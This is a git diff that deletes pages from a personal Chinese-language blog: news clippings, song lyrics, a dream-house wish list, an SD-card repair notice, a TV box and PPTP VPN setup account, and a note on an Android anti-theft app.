    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-httptw-news-yahoo-com-e5-85-92-e8-88-87-e5-ba-97-e5-ae-b6-e5-a5-97-e6-8b-9b-e5-a4-b1-e6-99-ba-e6-af-8d-e8-a6-aa-e4-b8-8a-e9-96-80-e5-85-8d-e8-b2-bb-195100978-html/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-httptw-news-yahoo-com-e5-85-92-e8-88-87-e5-ba-97-e5-ae-b6-e5-a5-97-e6-8b-9b-e5-a4-b1-e6-99-ba-e6-af-8d-e8-a6-aa-e4-b8-8a-e9-96-80-e5-85-8d-e8-b2-bb-195100978-html/index.html deleted file mode 100644 index 42fe84e8..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-httptw-news-yahoo-com-e5-85-92-e8-88-87-e5-ba-97-e5-ae-b6-e5-a5-97-e6-8b-9b-e5-a4-b1-e6-99-ba-e6-af-8d-e8-a6-aa-e4-b8-8a-e9-96-80-e5-85-8d-e8-b2-bb-195100978-html/index.html +++ /dev/null @@ -1,455 +0,0 @@ - - - - - - - - - - [剪報] http://tw.news.yahoo.com/兒與店家套招-失智母親上門免費-195100978.html | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] http://tw.news.yahoo.com/兒與店家套招-失智母親上門免費-195100978.html

    -
    - - - 2013-10-08 - - - - - - - - - 剪報 - - - - - -
    - - - - -

     

    - -

    好溫馨啊~~~~

    - -

    原文 -

    -

    - -

    兒與店家套招 失智母親上門免費

    - -

    聯合新聞網作者: 記者趙容萱╱台中報導 | 聯合新聞網 – 2013年10月8日 上午3:51

    - -

    -
    -
    -
    -
    -
    -
    -

    - -

    這是現代版孝子娛親。魏姓男子見母親失智,老抱怨自己「無路用」變得不愛出門;男子買通附近店家,只要母親上門消費,就誇「老太太人緣好、免錢」,魏母果真重拾歡顏。

    - -

     

    - -

    「阿嬤,妳最近好像很快樂喔?」魏母日前到醫院回診,開心地回應中山醫學大學附設醫院神經內科醫師周希諴:「對啊,大家都對我很好,不跟我收錢。」眼睛瞇成一線笑著,沉醉在幸福裡。

    - -

     

    - -

    跟診的護士順口讚美說:「一定是阿嬤太可愛,到處吃喝都不用花錢,好好喔!」魏母突然抬起頭,揮手說:「小姐,我告訴妳,還有洗頭髮也是免費!」

    - -

     

    - -

    醫師表示,八十歲的魏母,在未患失智症之前個性開朗,很受街坊鄰居歡迎,三年前出現話講完就忘,常拿著鈔票卻看不懂是多少錢,無法出門購物,有時和鄰居聊天,常抱怨「無路用」。

    - -

     

    - -

    兒子帶母親到醫院,確診為失智症。剛開始魏母排拒吃藥,家人、看護得連哄帶騙,相當折騰。兒子觀察發現母親沒體力走遠,但偶爾會想吃美食,因失智對金錢沒概念,付帳常搞錯,一、二次挫折後,就裹足不前。

    - -

     

    - -

    為鼓勵媽媽出門,兒子心生一計,每個月都先付錢給媽媽常去的店家,並和店家套招,請對方在媽媽來消費時都要說「老太太做人真好、免錢」。

    - -

     

    - -

    兒子說,這招很管用,母親每次出門返家都笑得合不攏嘴,逢人就說「我的運氣很好,老闆都不跟我收錢。」兒子說,每月只花一、兩千元就能換得母親快樂,很值得。

    - -

     

    - -

    周希諴說,失智症患者與腦組織退化有關,很多患者會自我封閉,加速退化,想辦法讓他們與人互動,確有助於減緩病情。

    - -

    -
    -
    -
    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1-msn-e6-98-a8-e9-97-9c-e9-96-89-e7-b2-89-e7-b5-b2-ef-bc-9a-e7-9c-9f-e7-9a-84-e5-9b-9e-e4-b8-8d-e4-be-86-e4-ba-86/index.html b/themes/public/article/e5-89-aa-e5-a0-b1-msn-e6-98-a8-e9-97-9c-e9-96-89-e7-b2-89-e7-b5-b2-ef-bc-9a-e7-9c-9f-e7-9a-84-e5-9b-9e-e4-b8-8d-e4-be-86-e4-ba-86/index.html deleted file mode 100644 index 7d32d777..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1-msn-e6-98-a8-e9-97-9c-e9-96-89-e7-b2-89-e7-b5-b2-ef-bc-9a-e7-9c-9f-e7-9a-84-e5-9b-9e-e4-b8-8d-e4-be-86-e4-ba-86/index.html +++ /dev/null @@ -1,415 +0,0 @@ - - - - - - - - - - [剪報] MSN昨關閉 粉絲:真的回不來了 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報] MSN昨關閉 粉絲:真的回不來了

    -
    - - - 2013-04-26 - - - - - - - - - 剪報 - - - - - -
    - - -

     

    - -

    【聯合報╱記者陳信升、江碩涵/台北報導】

    - -

    對多數使用者來說,MSN昨天真的結束了!許多人昨天一早無法登錄MSN後,便開始在臉書發表MSN追悼文,「感嘆逝去的青春,真的回不來了。」 許多人對MSN一定會有「末日」冷淡以對,堅不轉進SKYPE,這時也被其它網友譏為「不見棺材不掉淚」!

    - -

    雖然網路上也有出現抗議微軟「粗暴的」停用MSN的聲音,但多數使用者見大勢已去,且已轉用其他通訊軟體,因次並未激起太多漣漪。不過,更多使用者向親友留言,希望能夠留下帳號,讓聯絡人清單可以重新「整隊」。

    - -

    許多用戶昨天無法登入MSN,也無法轉換Skype,行動通訊被迫中斷;台灣微軟表示,四月八日起MSN已陸續分批停用,建議使用者盡快轉換到Skype;至於昨天無法登入Skype,工程人員已修復,相關問題將陸續解決。

    - -

    台灣微軟表示,MSN原訂四月八日停用,系統原設定分批結束使用者登入時間,絕非昨天才強制所有使用者轉換使用介面至Skype。台灣微軟仍重申一貫立場,建議使用者盡快轉換至Skype平台,以免造成使用困擾。

    - -

    網路傳出,昨天因為過多網友同時進行平台轉換,系統無法負荷,才造成相關問題。但對此傳聞,台灣微軟不願意評論。記者實測,目前僅手機版的MSN仍可使用。

    - -

    3C達人楊士範表示,昨天的確不少人抱怨行動通訊中斷,只好透過其他聯絡方式,像是打電話、寫e-mail、用臉書的訊息連繫,或用LINE、Whats app、Google Talk等溝通,反而加速其他通訊軟體的成長。 -

    - -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-89-aa-e5-a0-b1/index.html b/themes/public/article/e5-89-aa-e5-a0-b1/index.html deleted file mode 100644 index b7eb4fc3..00000000 --- a/themes/public/article/e5-89-aa-e5-a0-b1/index.html +++ /dev/null @@ -1,400 +0,0 @@ - - - - - - - - - - [剪報]台大醫之死/學者憂心拚論文 像吃藥上癮 - 新聞追追追 - 文教要聞 - udn文教職考 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [剪報]台大醫之死/學者憂心拚論文 像吃藥上癮 - 新聞追追追 - 文教要聞 - udn文教職考

    -
    - - - 2013-03-14 - - - - - - - - - 剪報 - - - - - -
    - - -

    台灣的大學評鑑、教授升等、院聘教授或傑出學者的選拔,都只重視SCI的論文指數,「校園內充斥著低頭盤算論文數量,就像累積便利商店的點數」,形成一窩蜂為發表而發表的論文,卻與實際應用及產業需求嚴重脫節,最後變成偏離正軌。 -

    -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-8a-89-e5-be-b7-e8-8f-af-e7-b7-b4-e7-bf-92/index.html b/themes/public/article/e5-8a-89-e5-be-b7-e8-8f-af-e7-b7-b4-e7-bf-92/index.html deleted file mode 100644 index 7c07d53f..00000000 --- a/themes/public/article/e5-8a-89-e5-be-b7-e8-8f-af-e7-b7-b4-e7-bf-92/index.html +++ /dev/null @@ -1,416 +0,0 @@ - - - - - - - - - - 劉德華 - 練習 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    劉德華 - 練習

    -
    - - - 2013-07-21 - - - - - - - - - 其他 - - - - - -
    - - -

    如果留下多一秒鐘可以減少明天想你的痛

    - -

    我會願意放下所有交換任何一絲絲可能的佔有 -幸福只剩一杯沙漏 眼睜睜看著一幕幕甜蜜不會再有 -原本平凡無奇的擁有 -到現在竟像是無助的奢求

    - -

    我已開始練習 開始慢慢著急著急這世界沒有你 -已經和眼淚說好不哭泣 -但倒數計時的愛該怎麼繼續 -我天天練習 天天都會熟悉 -在沒有你的城市裡試著刪除每個兩人世界裡 -那些曾經共同擁有的一切美好和回憶

    - -

    愛是一萬公頃的森林迷了路的卻是我和你 -不是說好一起闖出去怎能剩我一人回去…回去

    - -

    http://www.youtube.com/watch?v=BUgwXRhVla4

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-91-a8-e6-9d-b0-e5-80-abjay-e7-94-b0-e9-a6-a5-e7-94-84hebe-e7-ad-94-e6-87-89-e4-b8-8d-e6-84-9b-e4-bd-a0/index.html b/themes/public/article/e5-91-a8-e6-9d-b0-e5-80-abjay-e7-94-b0-e9-a6-a5-e7-94-84hebe-e7-ad-94-e6-87-89-e4-b8-8d-e6-84-9b-e4-bd-a0/index.html deleted file mode 100644 index 7929efea..00000000 --- a/themes/public/article/e5-91-a8-e6-9d-b0-e5-80-abjay-e7-94-b0-e9-a6-a5-e7-94-84hebe-e7-ad-94-e6-87-89-e4-b8-8d-e6-84-9b-e4-bd-a0/index.html +++ /dev/null @@ -1,424 +0,0 @@ - - - - - - - - - - 周杰倫Jay & 田馥甄Hebe - 答應不愛你 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    周杰倫Jay & 田馥甄Hebe - 答應不愛你

    -
    - - - 2013-07-12 - - - - - - - - - 其他 - - - - - -
    - - -

    幽,妳能瞭解嗎?

    - -

    明明愛很清晰 卻又接受分離 -我只剩思念的權利 -難過還來不及 愛早已融入呼吸 -不存在的存在心底

    - -

    雖然很努力 練習著忘記 -我的心卻還沒答應可以放棄了你 -真的對不起 答應了你不再愛你 -我卻還沒答應我自己

    - -

    明明愛很清晰 卻要接受分離 -我只剩思念的權利 -難過還來不及 就讓愛融入空氣 -不存在的存在心底

    - -

    說好要忘記 偏偏又想起 -原來我的心還沒有答應放棄了你 -真的對不起 雖然曾經答應了你 -我卻還沒答應我自己 -卻又如何真的不愛你

    - -

    http://www.youtube.com/watch?v=dDqHcW4Q7oo

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-a4-a2-e6-83-b3-e5-a4-a7-e5-ae-85-e9-99-a2/index.html b/themes/public/article/e5-a4-a2-e6-83-b3-e5-a4-a7-e5-ae-85-e9-99-a2/index.html deleted file mode 100644 index 6f7d9ed2..00000000 --- a/themes/public/article/e5-a4-a2-e6-83-b3-e5-a4-a7-e5-ae-85-e9-99-a2/index.html +++ /dev/null @@ -1,467 +0,0 @@ - - - - - - - - - - [夢想] 大宅院 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [夢想] 大宅院

    -
    - - - 2015-06-19 - - - - - - - - - 其他 - - - - - -
    - - -

    一塊農地 裡面蓋三間房子

    - -

    一棟自己住,一棟給爸媽,另一間給妹妹們或者給訪客

    - -

    空地要有造景山水、要有樹

    - -

    室內主屋走高科技 都用觸控面板還有聲控控制

    - -

    可以用聲控下指令控制家電

    - -

    「Alice ,開啟一樓客廳空調」

    - -

    「開啟一樓客廳空調,請問溫度要設定幾度?」

    - -

     

    - -

    「Alice,一樓大門解鎖」

    - -

    「一樓大門已解鎖」

    - -

    電視頻道固定某一台播放大門 IPCAM 訊號

    - -

    「Alice,檢查大門影像」 就會把電視切換到大門的鏡頭

    - -

     

    - -

     

    - -

     

    - -

    每間房間有一張識別卡 卡片放在床頭固定位置可以啟用平板控制房間內的設備

    - -

    地下室有停車場

    - -

    房子周圍有護城河

    - -

    邊上有HD IPCAM

    - -

    IPCAM 的影像會即時上傳到雲端空間

    - -

     

    - -

    其中一間房子的背後有個小房間 所有線路集中在那邊

    - -

    裡面有溫控的抽風機

    - -

    頂上也有溫控的排氣設備

    - -

    備有專用的發電機組

    - -

     

    - -

     

    - -

    院子要有菜園??不要有草皮,但是要有山水造景

    - -

    要養兩隻大白熊,戶外休息的陰涼處要裝溫控的抽風機或風扇

    - -

     

    - -

    訪客停車導引到地下室

    - -

    要有車道到大門前

    - -

     

    - -

    浴室要用下沉式的浴缸,貼黑色片岩質感

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-ae-87-e7-9e-bb-apacer-e7-9a-84-e5-ae-a2-e6-9c-8d-e7-b6-ad-e4-bf-ae-e6-9c-8d-e5-8b-99-e7-9c-9f-e6-98-af-e5-a5-bd-ef-bc-81/index.html b/themes/public/article/e5-ae-87-e7-9e-bb-apacer-e7-9a-84-e5-ae-a2-e6-9c-8d-e7-b6-ad-e4-bf-ae-e6-9c-8d-e5-8b-99-e7-9c-9f-e6-98-af-e5-a5-bd-ef-bc-81/index.html deleted file mode 100644 index 6ce041ad..00000000 --- a/themes/public/article/e5-ae-87-e7-9e-bb-apacer-e7-9a-84-e5-ae-a2-e6-9c-8d-e7-b6-ad-e4-bf-ae-e6-9c-8d-e5-8b-99-e7-9c-9f-e6-98-af-e5-a5-bd-ef-bc-81/index.html +++ /dev/null @@ -1,562 +0,0 @@ - - - - - - - - - - 宇瞻 Apacer 的客服/維修服務真是好! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    宇瞻 Apacer 的客服/維修服務真是好!

    -
    - - - 2013-10-01 - - - - - - - - - 其他 - - - - - -
    - - -

    剛剛電腦上的例行備份工作跳出警告,顯示無法寫入目標磁區, -開檔案總管一看,代號還在,但是無法進入,顯示無法讀取。 -嘗試格式化,也發生錯誤,無法格式化,想說終保(應該吧) -花個掛號費去換一張回來好了。 -所以我從NB內建的SD卡槽直接把SD卡抽出來, -然後這張卡就在我抽出來的同時解體了!!….WTF ! -這張卡從買來就一直插在NB上,印象中沒有抽拔過幾次。 -沒想到這次拔出來要送修就整張解體 = = -等等還是硬著頭皮送看看好了….. -解體圖…http://www.flickr.com/photos/chang0206/9930290464/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Dear Customer,
    Please be informed that below RMA goods were packed on 2013/9/30 and will be sent to you shortly.
    親愛的客戶您好:
    您的RMA貨物已於 2013/9/30 備貨完畢,將於近日寄送給您.

    - -

    Apacer RMA Shipping Report Summary

    - -

    - - - - - - -
    -
    - - - - - - -
    -
    - - - - - - - - - - - - - - - - - - - - - -
    RMA NO: XXXXXXXXXXXXXXXXXXX
    Customer: User 寄送
    Shipping Date: 2013/9/30
    -
    -
    -  -
    - - - - - - - - - - - - - - - - - - - - - - - - - -

    - -

    Item

    - -

    - -

    Received

    - -

    - -

    Shipping

    - -

    - -

    Qty

    - -

    - -

    PN

    - -

    - -

    Description

    - -

    - -

    PN

    - -

    - -

    Description

    - -

    1AP32GSDHC10-RSDHC Class10 32GB RPAP32GSDHC10-RSDHC Class10 32GB RP1
    -
    -
    Kind regards,
    Apacer Technology Inc.
    4F., No.32, Zhongcheng Rd., Tucheng Dist., New Taipei City 236, Taiwan (R.O.C.)

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-b0-bf-e5-b0-bf-e7-99-bc-e9-9b-bb-e8-ae-93-e6-89-8b-e6-a9-9f-e6-b0-b8-e9-81-a0-e9-83-bd-e6-bb-bf-e6-a0-bc/index.html b/themes/public/article/e5-b0-bf-e5-b0-bf-e7-99-bc-e9-9b-bb-e8-ae-93-e6-89-8b-e6-a9-9f-e6-b0-b8-e9-81-a0-e9-83-bd-e6-bb-bf-e6-a0-bc/index.html deleted file mode 100644 index 3e152227..00000000 --- a/themes/public/article/e5-b0-bf-e5-b0-bf-e7-99-bc-e9-9b-bb-e8-ae-93-e6-89-8b-e6-a9-9f-e6-b0-b8-e9-81-a0-e9-83-bd-e6-bb-bf-e6-a0-bc/index.html +++ /dev/null @@ -1,501 +0,0 @@ - - - - - - - - - - 尿尿發電 讓手機永遠都滿格 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    尿尿發電 讓手機永遠都滿格

    -
    - - - 2014-10-16 - - - - - - - - - 未分類 - - - - - -
    - - -

    - - - - - -
    -
    尿尿發電 讓手機永遠都滿格
    -
    - - - - - - - - - - - - - - - -
    - - - - - - - -
    -
    -
    -
    - - - - - - - - - -
    -
    習慣小解完馬上沖水?別急!布里斯托機器人學實驗室(Bristol Robotics Laboratory,BRL)能把尿轉化成電力,幫手機充電。 -圖/網路
    -
    -習慣小解完馬上沖水?別急!布里斯托機器人學實驗室(Bristol Robotics Laboratory,BRL)能把尿轉化成電力,幫手機充電。

    - -

    這個作法聽來有點荒唐,但在今年初由印度生技部和蓋茲基金會共同主辦的「廁所改造展」上,英國布里斯托大學和西英格蘭大學合組的BRL團隊,展示這種有特殊功能的小便斗。

    - -

    布里斯托生物能源中心主任艾羅包洛斯(Yannis Ieropoulos)說:「原理很簡單,只要讓小便斗排水管直接通向微生物燃料電池(MFCs)就成了。不用幫浦,也不必準備什麼過濾網或細胞膜。」

    - -

    艾羅包洛斯說,微生物燃料電池可以透過活生生的微生物體,把有機物質直接轉化為電力。

    - -

    這種電力是微生物自然生命循環的的副產品,當他們吃下愈多尿液這種東西,就能產生愈多能量,提供更多電力。

    - -

    目前全球每年可生產超過6兆公噸的尿液,代表發展成再生能源的商機很可觀。 -

    - - - - - - - - - -
    -
    點此看大圖。 圖/經濟日報提供 -
    -
    -BRL團隊利用尿液發電的微生物燃料電池,已經可供智慧手機傳簡訊、短時間通話與瀏覽網頁。

    - -

    艾羅包洛斯說:「打電話是手機最耗電的功能,但我們會努力提高發電量,延長使用時間。」

    - -

    這個計畫已經獲得蓋茲基金會等機構投資,未來將應用在廁所不足、供電不穩的開發中國家。

    - -

    BRL團隊還希望把這種「電力尿」(urine-tricity)推廣到富裕國家,只要把微生物燃料電池加裝在現成的廁所,就能發電。終極目標則是善用廢物來生產能源,同時改善環境衛生,提高人類的生活品質。 - - - - - - - - - -
    -
    -
    -哥本哈根資訊科技大學(ITU)有一群科學家,也在研究如何把尿轉化成微生物燃料電池並發電,但不同之處在於,他們自己研發出名為「EVOBOT」的機器人,專門負責重複性高且耗時費力的實驗,用來證明初步研究結果的準確性。利用機器人做實驗,引發人類有朝一日被機器人取代的辯論,不過丹麥實驗室技術員協會(DALT)認為目前沒有這個問題。

    - -

    協會主席巴恩韓森說,未來打算把EVOBOT送到率先研究微生物燃料電池的布里斯托大學,協助他們進行更多研究。

    - -

    - -

    【2014/10/04 經濟日報】@ http://udn.com/

    - -

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-bd-b1-e7-89-87sony-e4-bd-9c-e7-9a-84nex-e5-bb-a3-e5-91-8a-ef-bc-8c-e7-8b-a0-e7-8b-a0-e9-85-b8-e4-ba-86-e7-8f-be-e5-9c-a8-e5-be-88-e5-a4-9a-e6-8b-bfdslr-e7-9a-84-e3-80-8c-e5-b0-88-e6-a5-ad/index.html b/themes/public/article/e5-bd-b1-e7-89-87sony-e4-bd-9c-e7-9a-84nex-e5-bb-a3-e5-91-8a-ef-bc-8c-e7-8b-a0-e7-8b-a0-e9-85-b8-e4-ba-86-e7-8f-be-e5-9c-a8-e5-be-88-e5-a4-9a-e6-8b-bfdslr-e7-9a-84-e3-80-8c-e5-b0-88-e6-a5-ad/index.html deleted file mode 100644 index 1fc17c50..00000000 --- a/themes/public/article/e5-bd-b1-e7-89-87sony-e4-bd-9c-e7-9a-84nex-e5-bb-a3-e5-91-8a-ef-bc-8c-e7-8b-a0-e7-8b-a0-e9-85-b8-e4-ba-86-e7-8f-be-e5-9c-a8-e5-be-88-e5-a4-9a-e6-8b-bfdslr-e7-9a-84-e3-80-8c-e5-b0-88-e6-a5-ad/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [影片]SONY作的NEX廣告,狠狠酸了現在很多拿DSLR的「專業」攝影師 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-bf-83-e5-be-97-ovo-e9-9b-bb-e8-a6-96-e7-9b-92-vpn-e5-b0-8f-e7-b1-b3-e8-b7-af-e7-94-b1-e5-99-a8-mini-pptp/index.html b/themes/public/article/e5-bf-83-e5-be-97-ovo-e9-9b-bb-e8-a6-96-e7-9b-92-vpn-e5-b0-8f-e7-b1-b3-e8-b7-af-e7-94-b1-e5-99-a8-mini-pptp/index.html deleted file mode 100644 index dba4543e..00000000 --- a/themes/public/article/e5-bf-83-e5-be-97-ovo-e9-9b-bb-e8-a6-96-e7-9b-92-vpn-e5-b0-8f-e7-b1-b3-e8-b7-af-e7-94-b1-e5-99-a8-mini-pptp/index.html +++ /dev/null @@ -1,490 +0,0 @@ - - - - - - - - - - [心得] ovo 電視盒 + VPN + 小米路由器 mini + PPTP | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [心得] ovo 電視盒 + VPN + 小米路由器 mini + PPTP

    -
    - - - 2015-03-12 - - - - - - - - - 未分類 - - - - - -
    - - -

    老爸愛買東西的毛病又犯了,上網買了台 ovo的電視盒

    - -

    在這種設備裡面, ovo 的東西算貴的,小米盒子 1400不到,就算 apple tv 也不過 2000不到

    - -

    但是這台電視盒要價 2990 ,比 APPLE TV還貴!

    - -

    他的特異功能,這邊就略過不提了,來講講實際操作時碰到的問題

    - -

    - -

    1.原本我以為台灣自家出的設備,又是這種高價,說不定看影片可以不用像其他電視盒一樣去搞一堆囉哩八縮的 VPN/PROXY

    - -

    事實證明,我想得太簡單了…

    - -

    一開始在沒有特別去設定 VPN的情況下,我用家裡的中華電信雙向100M 去開兔子視頻裡面的我是歌手 3,居然出奇的流暢!

    - -

    但是呢,雖然我已經選了高清(720P),但是畫面上看起來還是慘不忍睹…

    - -

    試著用手機拍了一段影片如下

    - -

    https://www.flickr.com/photos/chang0206/16587146748/

    - -

    可以看到快轉的速度很快,但是畫質很糟…

    - -

    在ovo的論壇上發問,結果還被奚落..都說是片源的問題

    - -

    但是我同時間用小米盒子透過 4G 線路去看一樣的片子,就不會有這種問題..

    - -

    論壇上那些人都直接無視這種狀況…還要我去搞懂VPN做啥用….凸

    - -

    http://forum.ovomedia.tv/forum.php?mod=viewthread&tid=823&extra=page%3D1

    - -

     

    - -

    2.裝好的第一個晚上,睡前我只關閉了電視的電源,機上盒、ovo電視盒的電源都沒關

    - -

    隔天回來開電視卻發現電視有影像沒聲音,打給客服依照指示測試了一下

    - -

    用APP播放有聲音、機上盒不透過OVO,直接接電視也OK,最後就機器重開、線重接,莫名其妙的好了..

    - -

     

    - -

    3.既然播放還是不順,想說趁這個機會,來嘗試一下透過海外的VPS建立的 PPTP Server 來看大陸的影片好了

    - -

    在 VPS 建立 PPTP 的部分就不說了,很多文章可以參考 (不建議 OPENVPN ,先弄個簡單的PPTP玩玩就好)

    - -

    PPTP建立OK之後,分別用Win7 / iphone / android 去設定 PPTP VPN 測試連線成功,可是OVO 就是連不上!

    - -

    所以我又去論壇發問了….

    - -

    http://forum.ovomedia.tv/forum.php?mod=viewthread&tid=833&extra=page%3D1

    - -

    這次回答的人似乎是官方的人? 總之就是這台機器的 PPTP 現在有問題,不能使用

    - -

    論壇上有建議去安裝 穿越VPN (crossvpn) 但是我安裝好之後,雖然可以連上內建的VPN Server,可是影片都沒辦法看,而且連首頁都變得怪怪的。

    - -

    一氣之下,就去google play 找了很多VPN Client,像是啥 vpnroot 之類的

    - -

    在 android手機上測試會通,但是到了ovo 電視盒就是連不上

    - -

    後來發現一個盲點,我手機有 root ….而很多VPN Client 都需要有root 權限才可以正常運作..

    - -

    而不需要root 的VPN Client,又多半只是去呼叫系統內建的 PPTP ,可是這台的PPTP就有問題啊!

    - -

    嘗試了好久,終於死心放棄,本來想說還是恢復原本的作法,透過 手機分享4G網路出來連線好了

    - -

    後來想到前幾天剛好搶了第二台小米路由器 mini 進來

    - -

    於是把第二台小米路由 mini 設定起來,從小烏龜的LAN拉一條網路線到 WAN 設定PPPOE,網路通了之後

    - -

    在管理介面中就可以設定 L2TP/PPTP 了,輸入IP/ID/PASS,看到連線成功,事情終於告一段落………才怪!

    - -

    不知道為何,這條PPTP的連線,沒幾分鐘就會斷線..

    - -

    錯誤訊息是啥 message too long 的,這個在這兩天找VPN相關作法時有看到,要去修改server那邊的 mtu

    - -

    參考這篇 http://blog.weiliang.org/linux/499.html

    - -

    去/etc/ppp/option.pptpd 最後一行加入 mtu 1356, service pptpd restart

    - -

    小米路由上的 pptp 斷線重啟,ping 個五分鐘看看,好像是不會斷了..

    - -

    再去 OVO 電視盒上,把無線改過來這台新的小米上,開兔子視頻出來,去找了個美劇 地球百子來看

    - -

    終於可以用高清品質流暢的播放了!!! 感動啊!!!!

    - -

    2015/03/15 update

    - -

    推薦個 APP 叫酷TV 搭配這個方法 滿多影片都可以高清甚至超清播放!

    - -

    不過也還是有很多美劇不能看 0rz

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-89-8b-e6-a9-9f-android-e4-b8-8a-e7-9a-84-e6-89-8b-e6-a9-9f-e9-98-b2-e7-9b-9c-e8-bb-9f-e9-ab-94-cerberus/index.html b/themes/public/article/e6-89-8b-e6-a9-9f-android-e4-b8-8a-e7-9a-84-e6-89-8b-e6-a9-9f-e9-98-b2-e7-9b-9c-e8-bb-9f-e9-ab-94-cerberus/index.html deleted file mode 100644 index 991df32a..00000000 --- a/themes/public/article/e6-89-8b-e6-a9-9f-android-e4-b8-8a-e7-9a-84-e6-89-8b-e6-a9-9f-e9-98-b2-e7-9b-9c-e8-bb-9f-e9-ab-94-cerberus/index.html +++ /dev/null @@ -1,418 +0,0 @@ - - - - - - - - - - [手機] Android 上的手機防盜軟體 Cerberus | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [手機] Android 上的手機防盜軟體 Cerberus

    -
    - - - 2015-05-15 - - - - - - - - - 其他 - - - - - -
    - - -

    今天早上解鎖手機的時候輸入錯誤,本來也沒想到啥

    - -

    結果手機就收到 Cerberus 發出的兩封郵件

    - -

    - -

    一封是解鎖錯誤當下,前鏡頭拍下的照片..

    - -

    這部份礙於放照片上來有礙觀瞻,我就不放了  XD

    - -

     

    - -

    另一份郵件會告知解鎖錯誤時,手機的所在位置..

    - -

     

    - -

    2015-05-15_12-07-49

    - -

     

    - -

